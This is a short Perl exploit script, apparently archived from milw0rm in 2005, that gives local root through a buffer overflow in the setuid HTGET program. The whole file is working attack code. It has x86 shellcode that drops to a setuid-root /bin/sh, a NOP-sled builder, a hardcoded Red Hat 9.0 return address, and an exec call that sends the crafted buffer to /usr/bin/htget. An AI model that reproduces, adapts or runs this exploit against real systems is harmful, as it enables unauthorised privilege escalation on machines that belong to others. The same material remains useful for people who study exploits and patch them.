#!/usr/bin/perl
#^^^^^^^^^^^^^^^^\....,,,,|:::::::____******
#HTGET <= 0.9.x local lame r00t exploit	    *	
#written by nekd0 of Unl0ck Research Team    *
#(c) .unl0ck research team 2004-2005. 	     *
#	http://unl0ck.void.ru		    *	
#................/^^^^''''|:::::::----******

$shellcode = 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31".
"\xc0\x88\x43\x07\x89\x5b\x08\x89".
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0".
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff".
"/bin/sh";

$len = 288;
$ret = 0xbfffd62a; #red hat 9.0 
$nop = "\x90";
$offset = 0 ;
$vulnprog="/usr/bin/htget";

if (@ARGV == 1) {
    $offset = $ARGV[0];}

if (!-u($vulnprog)){print "$vulnprog is not suid... exiting\n";exit();}

for ($i=0; $i<($len-length($shellcode)-100);$i++)
	{$buffer .= $nop;}

$buffer .= $shellcode;

print ("Address: 0x",sprintf('%lx',($ret+$offset)),"\n");

$new_ret = pack('l',($ret + $offset));

for ($i+=length($shellcode); $i<$len; $i+=4)
	{$buffer .=$new_ret}

exec("$vulnprog $buffer");

# milw0rm.com [2005-01-05]
